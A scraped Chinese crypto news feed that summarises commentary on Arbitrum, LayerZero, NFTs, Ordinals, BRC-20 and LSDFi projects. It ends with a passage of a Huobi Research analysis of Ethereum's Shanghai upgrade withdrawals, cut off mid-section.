    Chainfeeds 导读： Arbitrum 将从即将到来的空投中获得超过 10 亿美元的流动性注入，加密研究员 Trissy 盘点 7 个将从中获益的市值低于 5000 万美元的创新项目，分享这些项目的主要信息以及当前的市值、FDV 和 TVL 等数据表现。 文章来源： https://twitter.com/Cryptotrissy/status/1637064218196459520 文章作者： Trissy 观点： Trissy：1）Factor：MC 800 万美元、FDV 5300 万美元。允许用户创建多种资产的代币篮子，且可以复制 VC 或鲸鱼的投资；2）Perpy：FDV 2000 万美元，正在公售。去中心化社交交易应用，通过创建金库，交易者可以为复制他们的策略添加绩效费用，收入会返还给代币持有者；3）Byte Mason：MC 3200 万美元、FDV 1.22 亿美元、TVL 2200 万美元。生态包括收益率优化器 Reaper Farm、借贷市场 GranaryFinance、CDP 稳定币 EthosReserve、基于到期日的新收益原语 Reliquary 和社交入门应用 Moon；【原文为英文】 内容来源 Trissy：4）Camelot：MC 4100 万美元、FDV 4.2 亿美元、TVL 8200 万美元。交易者可通过其双 AMM 模型获得更优的滑点。spNFT 收据为用户提供具有收益的 NFT，有多种规格，可充值、拆分和合并，可将其锁定以获得更高 APY；5）Pendle：MC 3200 万美元、FDV 7800 万美元、TVL 3800 万美元。通过双重收益代币优化收益，允许用户根据市场判断对冲头寸。其代币经济模型形成收入飞轮，抵押的 vePENDLE 越多，可以获得的激励就越多；【原文为英文】 内容来源 Trissy：6）Vela：MC 5000 万美元、FDV 6 亿美元、TVL 4800 万美元。定制代币经济模型以促进真实收益，创建了 VELA、eVELA、vUSD 和 VLP 之间的强大反馈循环；7）Betswirl：MC 400 万美元、FDV 800 万美元、TVL 120 万美元。是其规模中表现最好的 Gamblfi 协议之一，产生超 50 万美元收入。与典型的「庄家稳赢」系统相比，主要卖点是为用户提供公平的赔率，目前返还给质押者的收益率为 20-50％。【原文为英文】 内容来源  ( 2 min )
    【英文长推】哪些项目将会在 LayerZero 叙事中获益：Stargate、Altitude、Pendle…
    Chainfeeds 导读： 加密研究员 Emperor Osmo 认为 LayerZero 可能带来比 ARB 和 OP 更大的收益，并分享可以利用 LayerZero 叙事的几个项目，包括 Stargate、Altitude、Pendle、TapiocaDAO、Radiant、Trader Joe、Mugen 和 Rage Trade。 文章来源： https://twitter.com/Flowslikeosmo/status/1637469576056442880 文章作者： Emperor Osmo 观点： Emperor Osmo：1）Stargate：LayerZero 中的蓝筹桥，以 USDC 的形式向用户支付所有转账的 0.01%。随着更多链的加入，收益率将增加；2）Altitude：不仅转移稳定币的流动性，还专注于桥接蓝筹资产，消除了围绕稳定币流动性的中心化，使跨链更加容易；3）Pendle：使用户能够将其收益代币化并交易其收益资产。与 LayerZero 的整合有望加速跨链增长，增加对 PENDLE 衍生品的需求，用户将能够跨任何链访问和使用这些资产。【原文为英文】 内容来源 Emperor Osmo：4）TapiocaDAO：旨在成为 Omnichain 货币市场。其稳定币 USDO 由各种流动性质押衍生品 (LSD) 抵押，使 TAP 持有者收益；5）Radiant：旨在成为一站式 DeFi 市场，实现无缝跨链存款借贷，刚刚发布 V2；6）Trader Joe：最近利用了全链技术，意味着 JOE 不再被锁定在一个 DEX 中，可以在 ARB 和 BNB 生态系统中流动，这将带来更多的流动性和交易量，最终带来更多费用。【原文为英文】 内容来源 Emperor Osmo：7）Mugen：收益聚合器，可以解锁收益跨链。目前部署在 ARB 上，但很快将扩展到更多生态系统。8）Rage Trade：Omnichain perpdex，通过将来自其他协议的流动性重新用于 RAGE 来提高资本效率。这种循环流动性让 Rage 可以在所有 LayerZero 兼容的链上重复使用 ETH-USD 流动性。【原文为英文】 内容来源  ( 2 min )
    【英文】ABCDE：研究完所有 EIP，我们总结了 9 个 NFT 未来方向
    Chainfeeds 导读： 投资机构 ABCDE 在研究分析了最新的 EIP 之后，提出了 NFT 的 9 个未来方向，并总结了各个方向相关的 EIP 概念。 文章来源： https://medium.com/@ABCDE.com/abcde-after-studying-all-eips-we-summarized-9-future-directions-of-nfts-648c11f16a4f 文章作者： ABCDE Capital 观点： ABCDE Capital：1）权限启用的 NFT，一个 NFT 除了所有者以外还可以有专门用于潜在权利人、忠诚度授予者等的字段。基本上可以将一个 NFT 的效用分割成特定的部分，让不同的玩家在其中发挥最大的优势。2）关系启用的 NFT，除了对一个 NFT 的多个所有者和用户进行创新外，还迫切需要将多个 NFT 捆绑在一起，归一个人所有。3）NFT 作为归属效用，扩展到丰富的应用程序中，将传统融资带到链上。4）NFT 作为实用代币。【原文为英文】 内容来源 ABCDE Capital：5）NFT 作为身份代币，EIP 一直在增加对 SBT 及其生态系统的支持，同时我们期待 zkID 的技术栈、保护隐私的链上身份，在不久的将来准备好并进入 EIP 的标准化管道。6）内容更丰富的 NFT，例如供应商元数据扩展、为 NFT 添加可点击的功能等，带来更多创新和用例。7）实物资产的 NFT，作为产品和服务的数字物理关系的载体。【原文为英文】 内容来源 ABCDE Capital：8）具有高级指标的 NFTFi，随着 NFT 的权限、关系、归属、效用价值的增加，NFT 的估值和交换需要更加复杂，以体现市场对 NFT 各部分价值的区分需求。9）NFT 作为 EOA，可以限制一个人的链上痕迹，为 NFT 建立历史和声誉，并实现进一步的 NFT 所有权结构。【原文为英文】 内容来源  ( 18 min )
    一文解读 Ordinals 协议的基本原理和「聪」的稀有度系统
    Chainfeeds 导读： Ordinals 协议的出现改变了比特币生态，加密研究员王一石撰文分析 Ordinals 基本原理，介绍「聪」的稀有度系统，认为铭文的序号跟收藏价值不是绝对相关。 文章来源： https://yishi.zhubai.love/posts/2249248982721544192 文章作者： 王一石 观点： 王一石：每个比特币都可以被分成 100,000,000 个单位，称为 satoshis（或 sats），中文叫「聪」。Ordinals 协议则提出，按照一定顺序排列「聪」，给它们分配一个序数，然后把它们连接到其他信息：图片、文字、视频甚至一串代码。从而每个聪都变得独一无二，不可替代。这就相当于让比特币拥有了原生的、创造 NFT 的能力。 内容来源 王一石：协议核心：1）每个「聪」的编号唯一。2）先进先出，即每个聪的编号排序，是按照它在交易输出中的索引决定的。「聪」的稀有度系统由一系列定期事件组成：1）区块；2）难度调整；3）区块奖励减半；4）周期，每隔 6 次减半，减半和难度调整将同时发生。这被称为「重叠」，在两次重叠之间的时间段被称为一个「周期」。 内容来源 王一石：「聪」稀有度级别：1）普通，不是其块的第一个聪。2）少见，每个块的第一个聪。3）稀有，每个难度调整周期的第一个聪。4）史诗，每个减半时期的第一个聪。5）传奇：每个周期的第一个聪。6）神话：创世区块的第一个聪。但铭文的序号跟收藏价值不是绝对相关。 内容来源
    Dragonfly 管理合伙人 Haseeb：深度复盘 2022 年加密市场的大溃败及启示
    Chainfeeds 导读： Dragonfly 管理合伙人 Haseeb 在 2023 ETHDenver 上分享了「2022 in Review: the Year of “Collateral” Damage」的演讲，从宏观角度解读了 2022 年整体经济和加密货币经历的定量收紧、 P2E 模式、Luna 暴雷、三箭资本与 FTX 事件之间的关联与启示。文字内容由链捕手整理。 文章来源： https://www.chaincatcher.com/article/2089573 文章作者： Haseeb Qureshi（Dragonfly 合伙人） 观点： Haseeb Qureshi（Dragonfly 合伙人）：利率上升时，加密货币价格会下降，当价格下跌时，人们会被清算，因为他们有贷款。但交易员不是唯一被清算的人，杠杆化的企业、杠杆化的协议也会被清算。当后者发生时，就会给人一种一切都乱套了的样子。这些庞氏骗局、杠杆化的协议都是零利率政策的产物。 内容来源 Haseeb Qureshi（Dragonfly 合伙人）：一种解读是零利率政策导致了大规模的不正当投资。另一种解读是，CeFi 是坏的，DeFi 是好的。但从另一个角度来看，这些失败大多数其实抵押品的失败。事实证明，当我们允许 Terra 杠杆化时，我们高估了该抵押品的价值。因此，看待去年发生的事情的另一种角度是：一些具体的人物与组织的声誉被过度地信任与担保。 内容来源 Haseeb Qureshi（Dragonfly 合伙人）：我认为故事的启示是，加密货币不应该废除信任。我们需要对那些要建立下一代应用、交易所和托管人的团队给予信任，要仔细思考如何选出值得信任的人。过去制造了一种关于某些人的偶像崇拜与狂热，这是需要改变的，这样加密货币才不会重蹈 2022 年的覆辙。 内容来源  ( 3 min )
    【英文】评估 ETH 的需求驱动因素
    Chainfeeds 导读： 加密研究员 polynya 撰文分析以太坊的各种需求驱动因素，即人们为什么购买以太坊，以及购买数量，并通过其主观意见，将这些因素按照质量降序排列，满分为 10 分。 文章来源： https://polynya.mirror.xyz/GPC26Y_rlwCyPpj_N3HeW_izY1-pIVwKW5bjuPNrGeQ 文章作者： polynya 观点： polynya：1）长期储备资产（10 分）：这些人已经持有 ETH 多年，并认为这是他们的长期价值储存手段。2）长期质押者 （10 分）：将质押者按时间范围划分。3）经济抵押品（9 分）：看看所有锁定在 DeFi 协议或其他地方的 ETH 。如果它们经常在协议之间互换，则没有问题，但需要注意。【原文为英文】 内容来源 polynya：4）记账单位 （8 分）：以 ETH 易手交易 NFT、ERC20 等。5）交换媒介（5 分）：这个具有挑战性，因为你必须看看那些真正使用 ETH 作为货币的人。6）投机（5 分）：投机者起着关键作用，而且比我有时认为的质量更高。短期持有者（STH，根据 Glassnode）将符合条件，CEX 热钱包和部分冷钱包也将符合条件，根据 LTH/STH 比率估算。【原文为英文】 内容来源 polynya：7）L1 交易费用燃烧（3 分）：以太坊 L1 上燃烧的 gas 费用，可以被认为是质押的直接需求驱动因素，从而导致对 ETH 的需求。8）投机性收益（3 分）：基本上是不断流动的「农民」，使用他们的 ETH 主要收集和出售代币奖励。9）短期质押者（2 分）：同样，当 MEV+ 优先费用奖励大大夸大 APR 时，也会有短期质押者在狂热市场中追逐收益率，而当熊市到来时，这些人最有可能退出。【原文为英文】 内容来源 polynya：10）L2 费用燃烧（2 分）：目前 L2 占 ETH 总费用的 2%-5%，并且可能会继续增加，直到 EIP-4844 之后，L2 将获得自己的专用空间来通过自己的费用市场结算数据。因此费用将大幅下降。此外，该数据层计划具有高度可扩展性，采用 4844 和 danksharding 等技术。我预计从长远来看，这将是一个相对较小的贡献，但如果 L2 被大规模采用，仍然值得注意。【原文为英文】 内容来源  ( 8 min )
    解析 LSDFi 生态地图 与 LSD War：谁能借助 DeFi 乐高脱颖而出？
    Chainfeeds 导读： 上海升级在即，而 LSDFi 战争越发火热。Forj Network 研究员 Wayne Zhang 撰文从 LSDFi 的五种形式盘点 LSDFi 生态项目，认为谁能拿到更多的 LSD，将直接决定他们未来的合作项目数以及搭建在其上的 DeFi 乐高。 文章来源： https://twitter.com/Wayne24699837/status/1637165157939056642 文章作者： Wayne Zhang 观点： Wayne Zhang：LSDFi 是基于 LSD 的 DeFi 产品，其背后是 DeFi 乐高，而 DeFi 组合性的背后是收益乐高，新入场者将通过贿赂 / 获取第三方代币或者利用自有代币进行激励，从而吸取市场份额以及 LSD 掌控权。部分 LSDFi 项目利用可变的激励乘数或者动态收益率来激励用户质押在小的去中心化质押平台来获取 LSD，从而达到验证者更加去中心化的目的。 内容来源 Wayne Zhang：LSDFi 的五种形式：1）LP（收益 10%+）；2）循环借贷（收益 10%+）；3）Yield（10%+）；4）EigenLayer（收益未知）；5）激励性 LSDFi 项目，通过杠杆，结构化策略，期权，债券衍生品等提高资本效率，或者利用极高的 APY 吸引储蓄或者达到其他目的。 内容来源 Wayne Zhang：总结：1）拿到更多的 LSD 将直接决定项目未来的合作项目数以及搭建在其上的 DeFi 乐高。2）高收益可能会是很长一段时间的常态；3）LSDFi 对于验证者的影响还很小，LP + 代币补贴是目前的主流，但 LSD War 后期会实际增加验证的去中心化程度。4）LSDFi 项目之间有很多合作空间，未来可组合性搭配下，可能会形成各收益层级的产品。5）LSD War 可能会持续至以太坊的质押率稳定在 25%+。 内容来源  ( 2 min )
    【英文长推】比特币会是恶性通货膨胀的良药吗？
    Chainfeeds 导读： Coinbase 前任 CTO Balaj 与学者 James Medlock 打赌，美国即将进入恶性循环通胀，Balaj 建议他本人的赌注为 100 万美元，James Medlock 的赌注为 1 BTC，期限为 90 天。加密货币指数平台 Alongside 梳理了历史上发生恶性通货膨胀的国家与时期，并分析了比特币能够对抗恶性通货膨胀的原因。 文章来源： https://twitter.com/alongsidefi/status/1637560594780807171 文章作者： Alongside 观点： Alongside：比特币对抗恶性通货膨胀的论点：1. 有限的供应：比特币总量为有限的 2100 万枚，政府不能铸造更多的比特币；2. 去中心化：比特币不受任何一个政府或组织的控制；3. 全球接受：比特币是无国界的，它可以被广泛采用；4. 价值储存：比特币被比作「数字黄金」，是对冲通货膨胀的工具；5. 数字化和易携带：比特币可以很容易地被储存、转移，并跨越国界携带。【原文为英文】 内容来源  ( 2 min )
    BRC-20 详解：理解比特币新型通证标准及其应用、局限与展望
    Chainfeeds 导读： 比特币上的 BRC-20 代币标准由推特用户 domodata 创建，这是一个实验性的可互换代币标准，利用 Ordinal JSON 数据铸造和转移代币。加密 KOL xiyu 解析了 BRC-20 的实现机制，并指出 尽管 BRC-20 当前功能有限，但「文本 + 铭文」的形式创造了简单的链上应用场景。 文章来源： https://mirror.xyz/0x421d67Be08E9B0B656763354b273f422E1527CdC/5VcND-gyMppsQQ0vAx5Gw-8iybPZnvGKvZGRnK0jv0w 文章作者： xiyu 观点： xiyu：基于 ordinals 的 BRC-20 就是以 JSON 格式，用铭文的形式，当作一个账本记账，实现部署领取转移功能。这是一个实验性的想法，企图将以太坊的代币功能带入到比特币中，从名字就可以看出来，完全是为了让用户第一时间理解这是什么，其实和 ERC20 没有任何功能性的关联。 内容来源 xiyu：tick+max 决定了 BRC-20 代币的独特性，所以不需要跟域名一样去抢注，没有抢注动力，就无法在短时间形成规模。用户只需要按照要求铸造铭文即可完成部署领取和转移的功能，最大的局限性在于前端的检索和余额。与 BRC-20 比，体验差非常多，甚至跟基于闪电网络的 taro 也比不具备竞争力。当前阶段我认为没必要去过多参与 BRC-20。 内容来源 xiyu：未来可能会有更好的标准和工具出现。更好的标准需要在部署交易中分发代币，使用不会消耗太多区块空间的数据结构。如果市场足够大，检索服务是可以被设计收费使用，从而有了更准确更好的体验。BRC-20 能发展起来的基础是 ordinals 的用户足够多，用户多前提是 NFT 市值足够大。 内容来源  ( 3 min )
    【英文长推】观点：比特币与传统资产相关性下降，正在转向价值储存
    Chainfeeds 导读： 比特币本周上涨 60%，而银行却损失了 1000 多亿美元，比特币似乎不再受传统资产影响。加密研究员 francesco 发现比特币与标普 500 指数和纳斯达克指数的相关性正在下降，比特币正在成为同黄金一样的价值储存资产。 文章来源： https://twitter.com/francescoglt/status/1637484098355855360 文章作者： francesco 观点： francesco：从历史上看，比特币从未与股票和传统金融市场完全脱离关系。最近这种情况似乎有所改变，比特币与标普 500 指数和纳斯达克指数的相关性在下降。在 1 月份，比特币与标准普尔指数的相关性是 0.7，现在是 0.22。纳斯达克指数也是如此，相关性从 0.69 下降到 0.62。【原文为英文】 内容来源 francesco：2023 年，比特币的市值增长超过 2000 亿美元，年初至今（YTD）增长 66%，而同一时期，大多数美国银行都遭受了行业危机，陷入困境的银行数量正在增加，超过 180 家银行面临倒闭的风险。比特币在价值累积和价值储存属性方面显示出了其他资产无法比拟的特性，与黄金同属一类资产。【原文为英文】 内容来源  ( 2 min )
    福布斯：代币化 RWA 如何为 DeFi 带来新的收益机会？
    Chainfeeds 导读： DeFi 收益熊市遇冷，用户和市场转向代币化 RWA 。福布斯撰文分析 DeFi 如何在代币化 RWA 这条路上走得更远，以及投资者如何把握代币化 RWA 在 DeFi 上的收益机会，认为代币化可以为其带来更高的流动性和新的投资者。本文中文版由星球日报编译。 文章来源： https://www.odaily.news/post/5185830 文章作者： Forbes 观点： Forbes：在过去的几个月里，传统的基金和资产发行人推出了通过公共加密网络将其他资产代币化的计划，增强了人们对将现实世界资产（RWA）带到链上的兴趣，并为 DeFi 的收益创造了新的机会。但随着熊市传统金融的无风险利率上升和 DeFi 收益率下降，投资者对 DeFi 的参与在近几个月大幅减少。 内容来源 Forbes：代币化 RWA 提供了切实的好处，包括降低投资最低限度和通过部分所有权增加访问权限，增加以前非流动性资产的交易，增强透明度和安全性。DeFi 如何在代币化 RWA 这条路上走得更远？必须提供比传统投资更高的收益率，才能保持竞争力并吸引资本。 内容来源 Forbes：投资者如何把握代币化 RWA 在 DeFi 上的收益机会？在评估产生收益的机会时，投资者应该查看利用现实资产的现有 DeFi 应用程序的跟踪记录。查看他们是否遭遇过违约，了解其保险承保、尽职调查流程和管理风险的方式。除了直接贷款，投资者还可以通过购买原生代币来押注以 RWA 为重点的 DeFi 协议。 内容来源  ( 6 min )
    解构全链游戏：技术创新、案例研究与行业展望
    Chainfeeds 导读： 全链游戏，简言之就是将游戏的所有核心逻辑，包括状态存储、计算与执行等，全部部署于区块链上。加密研究员 jojonas 通过对游戏产业基础设施的说明，指出了区块链与游戏技术方向的不同，并对比了全链游戏与普通链游、传统游戏的异同点。同时，作者还结合了现有全链游戏的特点，给出了他对全链游戏的未来展望。 文章来源： https://mirror.xyz/jojonas1.eth/nsUYk8fcRZ0-Tm5dLuorXniHKwohk9PZPoBnqLHVwdM 文章作者： Jojonas 观点： Jojonas：短期来说，全链游戏的发展仍面临诸多困难，例如将计算与存储全部移植于链上的技术难度、社区是否有足够能力与责任去接手游戏、除去垂直玩家能否吸引更多流量等，这些都需要更长时间的发展。而如果站在一个超长期的角度，全链游戏无疑会拥有更旺盛的生命力。 内容来源 Jojonas：未来的全链游戏，将诞生出众多创新的核心玩法，并有可能为 DeFi 乃至传统游戏提供设计灵感；由于开发、运营实体与治理者之间可分离，全链游戏的资产可以实现真正意义上的所有权；有机会脱离开发运营实体的全链游戏，其生命周期或许会和 DAO 治理结合地更为紧密。 内容来源  ( 4 min )
    观点：从 Coinbase 的 BTCUSD 和 BTCUSDT 的价格差判断市场情绪
    Chainfeeds 导读： 市场情绪旺盛，加密研究员 Phyrex 提供了一个思路，即从从 Coinbase 的 BTCUSD 和 BTCUSDT 的价格差判断市场情绪，正溢价则代币外部资金入场，看涨情绪旺盛。 文章来源： https://twitter.com/Phyrex_Ni/status/1637346410575314945 文章作者： Phyrex 观点： Phyrex：突然想起来有一个说法，就是看 Coinbase 的 BTCUSD 和 BTCUSDT 的价格差，如果是 USD 出现正溢价一方面说明法币通道（包括 USDC）的购买力很强，同时也代表了外部资金入场，价格较容易上涨（看涨情绪旺盛），甚至如果差距较大的时候可以去做套利（用 USD 买入 BTC，再卖出 USDT ）。 内容来源 Phyrex：而如果 BTCUSDT 出现正溢价则说明币市本身的购买情绪旺盛，以场内资金为主，这时候的 Coinbase 未必是成交的主力交易所。但同样可以用套利的方案。以前税收方面有漏洞，可以用亏损筹码短线操作的方式避税，这次拜登政府已经提出议案禁止了，但现在还没有改，尤其是加密货币的交易目前税还是挺低的。税收是以「金」本位计算的，但「币」本位是不会牵扯的。 内容来源  ( 2 min )
    【英文长推】观点：与以往不同，比特币终于迎来了属于它的时刻
    Chainfeeds 导读： 近期比特币暴涨，行情回暖。著名加密货币投资者 Eric Wall 认为，比特币与所有其他资产脱钩，甚至优于自身风险更高的加密货币对手。 文章来源： https://twitter.com/ercwl/status/1637573829642862595 文章作者： Eric Wall 观点： Eric Wall：为什么这次不同？在 Covid 期间，比特币有它的时刻吗？并非如此，它只是比任何东西都更难爆炸，而不是作为一个安全的避风港，然后像垃圾风险股票一样交易。在俄罗斯 - 乌克兰入侵期间，比特币有它的时刻吗？并非如此，利率飙升，比特币再次像垃圾风险资产一样交易，一年内下跌了 65%。【原文为英文】 内容来源 Eric Wall：这是过去几年中，我们唯一一次有一个干净的价格 / 叙事。市场信号是明确的而不可否认的，比特币与所有其他资产脱钩，甚至表现优于自身风险较高的同类加密资产。比特币似乎是第一次作为安全的避险资产来应对传统的银行系统，以及应对全球不可靠和生硬的中央银行货币政策。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Arbitrum 空投带来新流动性，哪些项目最能获益？
    Chainfeeds 导读： ARB 空投将为 Arbitrum 注入高达 20 多亿美元的流动资金，加密 KOL Defi Mochi 汇编链上数据，盘点了最有可能从 Arbitrum 空投中受益的生态相关项目。 文章来源： https://twitter.com/defi_mochi/status/1637474349488955393 文章作者： Defi_Mochi 观点： Defi_Mochi：DEX：由于空投带来的巨大 TVL 和成交量，DEX 有望从 ARB 的空投中受益。就估值而言，最好的蓝筹 DEX 似乎是 Camelot DEX，而 Solid Lizard 似乎是一个风险较大的选择。Camelot DEX 拥有优秀的代币模型，释放与燃烧量几乎为 1 : 1。【原文为英文】 内容来源 Defi_Mochi：Perps：GMX 仍然是最好的蓝筹 Perp，市值与收入比为 4。GMX 即将整合 Synthetics 也是一个催化剂。据估算，VELA 一年将获得 1900 万美元收入，市值与收入比为 2.2。Hegic 平滑了 GLP 的损失，也是另一个我看好的项目【原文为英文】 内容来源 Defi_Mochi：其他： Radiant 仍然是一个非常推荐的选择，其市值与收入比率较低，市值与 TVL 比率为 0.55。我仍然看好 Y2K finance，它是一个很好的对冲。PlutusDAO 也是另一个看好的项目，他们控制了 89% 的 JONES-WETH 流动性，52% 的 DPX 和 45% 的 SPA。【原文为英文】 内容来源  ( 2 min )
    基于 zkSync 的 DEX SyncSwap 已在 Polygon zkEVM 测试网上线
    基于 zkSync 的 DEX SyncSwap 已在 Polygon zkEVM 测试网上线 基于 zkSync 的 DEX SyncSwap 在官方推特上宣布，已上线 Polygon zkEVM 测试网。据悉，SyncSwap 测试网于 3 月 2 日在 zkSync Era 测试网上线。 内容来源  ( 2 min )
    RSS3 宣布推出 RSS3 AI 开放平台，为开发者使用链上数据训练 GPT 模型提供环境
    RSS3 宣布推出 RSS3 AI 开放平台，为开发者使用链上数据训练 GPT 模型提供环境 据 Open Web 信息分发协议 RSS3 官方消息称，RSS3 即将推出 RSS3 AI 开放平台，作为开发者使用链上数据训练 GPT 模型的环境。团队预计 GPT 和 RSS3 驱动的模型将能够访问、处理甚至反映 OpenWeb 世界中的事物，包括从 DeFi 到 SocialFi，从 Lens Protocol 到 Uniswap。 内容来源  ( 2 min )
    DefiLlama 团队因是否发行代币产生分歧，创始人推出分叉网站 Llama.Fi
    DefiLlama 团队因是否发行代币产生分歧，创始人推出分叉网站 Llama.Fi DeFi 信息聚合平台 DefiLlama 创始人 @0xngmi 发推表示，由于控制 DefiLlama 推特账户和域名的人决定发行代币，DefiLlama 团队不想与之相关，因此推出分叉版本的新网站 Llama.Fi。@0xngmi 提醒用户不要相信任何来自 defillama.com 的消息和代币。 内容来源  ( 2 min )

  • Open

    Abyss World : 首个Sui上的 3A 游戏，还原娱乐本质的救赎之路
    Abyss World : 首个Sui上的 3A 游戏，还原娱乐本质的救赎之路 – 深潮TechFlow 2 月底，新公链中的孪生双子星 Sui 和 Aptos 打起了口水仗。Sui 的 CTO 在社媒上直指 Aptos 打压 Sui 及其生态中的开发者，限制他们参加相关会议活动。唇枪舌剑的背后，其实也反映出新公链都渴求差异化和有竞争力的优势来俘获用户和关注度。 Read the full entry  ( 5 min )
    Abyss World : 首个Sui上的 3A 游戏，还原娱乐本质的救赎之路
    Abyss World : 首个Sui上的 3A 游戏，还原娱乐本质的救赎之路 – 深潮TechFlow 2 月底，新公链中的孪生双子星 Sui 和 Aptos 打起了口水仗。Sui 的 CTO 在社媒上直指 Aptos 打压 Sui 及其生态中的开发者，限制他们参加相关会议活动。唇枪舌剑的背后，其实也反映出新公链都渴求差异化和有竞争力的优势来俘获用户和关注度。 Read the full entry  ( 5 min )
    解读 Synthetix V3：合成资产新主张，捅破流动性天花板
    解读 Synthetix V3：合成资产新主张，捅破流动性天花板 – 深潮TechFlow 出品：深潮 TechFlow 研究院 Read the full entry  ( 4 min )
    解读 Synthetix V3：合成资产新主张，捅破流动性天花板
    解读 Synthetix V3：合成资产新主张，捅破流动性天花板 – 深潮TechFlow 出品：深潮 TechFlow 研究院 Read the full entry  ( 4 min )

  • Open

    剖析以太坊上海升级后的风险与机遇
    原文标题：《后「以太坊上海升级」时代，我们需要关注什么？》 原文来源：Huobi Research 以太坊将在 4 月完成上海升级，届时开放信标链质押 ETH 提款功能。上海升级是以太坊执行层的一次硬分叉，预计共实现 9 个 EIP。截止 2023 年 3 月 14 日，大约有 17.5M ETH 被质押，占 ETH 总供应量的 15.25%。以太坊验证者平均已经积累了超过 2 个 ETH 的质押奖励，上海升级之后将会有超过 100 万个 ETH 将会流向市场。 上海升级对以太坊生态带来的影响无疑是重大的。本次主要探讨上海升级后，以太坊和 LSD 协议的提款设计及相关风险，以及对 ETH 的价格和 LSD 协议相关衍生代币的价格的影响。 提款（Withdrawal）由执行层和共识层共同升级实现，有两种规则：「部分提款」和「全部提款」。部分提款是只提取收益部分；全部提款是退出验证者节点，收益+质押全部提取。这两种提款方式无优先级上的区别，只要满足必要条件将自动执行： 必要条件：Validator 具备 0x01 Credential（活跃验证者存款证明，目前具有该证明的验证者比例为 42%） 部分提款条件：Validator 是 Active 状态，同时 Validator 的余额大于 32ETH 全部提款条件：Validator 是 Withdrawable 状态（这通常意味着 Validator 已经退出网络） 以太坊信标链在固定时间内执行的取款请求数量是严格限制的，每个区块可以最多处理 16 个提款请求。验证者满足提款条件并提出申请后，会创建一个提款列表，以包含所有提出提款请求的验证者，该列表中列出了提款顺序、执行层收款地址和提款金额。提款请求都是在共识层发起的，不会独立进行也不会进入到交易内存池中，所以提款行为不需要 gas 也不会提高以太坊的 gas。 根据 Beaconcha.in 的数据，截止 3 月 14 日，Beacon 链上已质押 17,573,625 ETH。活跃验证者数量为 549,181，当前每个验证者平均质押的 ETH 为 33.98 个，Beacon 链上 ETH 总数为 18,661,170.4 ETH。 图 1. The network history of Ethereum (来源：Beaconcha.in) 基于提款条件和流程，每个 Epoch 有 512 个验证者可以取款（每个 Epoch 有 32 个 slot，一个 slot 一个区块），一天有 115,200 个验证者会被执行取款（12 秒一个区块，一天 7200 个区块）。每天总提款上限为 3,686,400 ETH。如果不考虑其它因素，根据当前质押 ETH 的数量估算，链上质押的 ETH 全部提取完毕需要大约 5.06 天。但是，执行提款的过程需要时间，所有退出的验证者需要等待至少 27.3 小时才能开始可提款。 ETH 质押开始的时间是 2020 年 11 月，当时 ETH 价格在 500-600 美元之间，这些长期质押的用户很大可能会急于提取它们的 ETH 和奖励。而从 2021 年 2 月开始的质押，相对于现在的价格是亏损的。大部分提款请求会是「部分提款」。预计开放提款后，ETH 的抛压并不会太严重，主要还是早期玩家的抛售行为。 图 2. ETH 价格曲线（来源：coinmarketcap） 提款的流程并非总是顺利的，还有一些不满足提款条件的情况是不允许提款的，尤其是只有0x00 Credential存款凭证的需要在上海升级之后，把其凭证换为0x01 Credential。这种转换也是一个区块只能有16个请求。0x00 认证的验证者平均年龄较大，并积累了更多的质押奖励，这将导致每个区块提取的 ETH 总量逐渐增加。极端情况下，全部退出验证者节点的情况不可能出现，各质押协议需要满足流失限制函数，这在一定程度上减少了抛压。由以上分析可以预测，在上海升级后的第3-4天抛压较大。 此外，根据glassnode的数据显示，有退出验证者意愿的节点共有大约920人。同时，由于监管原因，通过中心化机构质押的ETH代币大部分将会进行解锁，极端情况下需要完全退出。这里可能包括Kraken（6.52%）和Binance（4.92%），这有超过200万ETH，由于验证者流失限制函数，全部提款完成也需要一个月的时间。但这些质押的ETH并不会完全流通于市场，很大可能会继续存入其它质押协议中。 此外，根据 glassnode 的数据显示，有退出验证者意愿的节点共有大约 920 人。同时，由于监管原因，通过中心化机构质押的 ETH 代币大部分将会进行解锁，极端情况下需要完全退出。这里可能包括 Kraken（6.52%）和 Binance（4.92%），这有超过 200 万 ETH，由于验证者流失限制函数，全部提款完成也需要一个月的时间。但这些质押的 ETH 并不会完全流通于市场，很大可能会继续存入其它质押协议中。 图3. 自愿退出验证者节点的数量统计（来源：glassnode） LST代币已经占总抵押量的65%左右。而这些抵押衍生代币，在过去两年的时间内，出现过大幅度的折价。目前，由于上海升级的临近，LST整体流动性较好。提款开放对LST价格回归是一个利好, 但同时也很考验各个LSD项目方的风险管理能力和提款流程设计。 目前，各类 LSD 协议的 ETH 总质押量占所有质押量的 42.97%，单是 Lido 协议占比已过 30%。而这些协议的抵押衍生代币 LST，已经早于上海升级在二级市场上流通了，它们目前在 DeFi 协议中的收益率都有很好的表现。 图4. DeFi yields ranking (来源：Defillama) LST代币已经占总抵押量的65%左右。而这些抵押衍生代币，在过去两年的时间内，出现过大幅度的折价。目前，由于上海升级的临近，LST整体流动性较好。提款开放对LST价格回归是一个利好, 但同时也很考验各个LSD项目方的风险管理能力和提款流程设计。 图5. 以太坊质押占比情况 stETH是目前流动性最好的LSD代币，由下图的stETH/ETH价格曲线可以看出，stETH/ETH的价格在2021年3月和2022年6月期间出现了大规模的折价，分别对应3AC和FTX事件。这主要原因是流动性不足导致的。2021年的这部分卖出，时间点刚好也是大盘的高点，这部分卖出用户大多为2020年底的抵押用户，在此退出获利较多。 图 5. 以太坊质押占比情况 stETH是目前流动性最好的LSD代币，由下图的stETH/ETH价格曲线可以看出，stETH/ETH的价格在2021年3月和2022年6月期间出现了大规模的折价，分别对应3AC和FTX事件。这主要原因是流动性不足导致的。2021年的这部分卖出，时间点刚好也是大盘的高点，这部分卖出用户大多为2020年底的抵押用户，在此退出获利较多。 图6. stETH/ETH价格曲线 Coinbase的LST代币cbETH之前一直是折价的状态，cbETH主要在Uniswap中，目前大约TVL为$7.5M，每日交易量较低，可能会出现流动性不足的情况。但最近表现强势。可能随着上海升级的临近，套利者可以通过购买折扣价的cbETH获利。 图7. cbETH TVL （来源：Uniswap） Rocket pool在LSD协议中占有第三大的市场份额，其衍生品代币rETH市值$391M，流通量21万。上海升级之后，用户可以将rETH归还至协议，从而赎回质押的ETH和相应奖励，所以rETH在二级市场的价格一直高于ETH。 图8. rETH/WETH价格曲线 3.2 各LSD协议提款流程对比 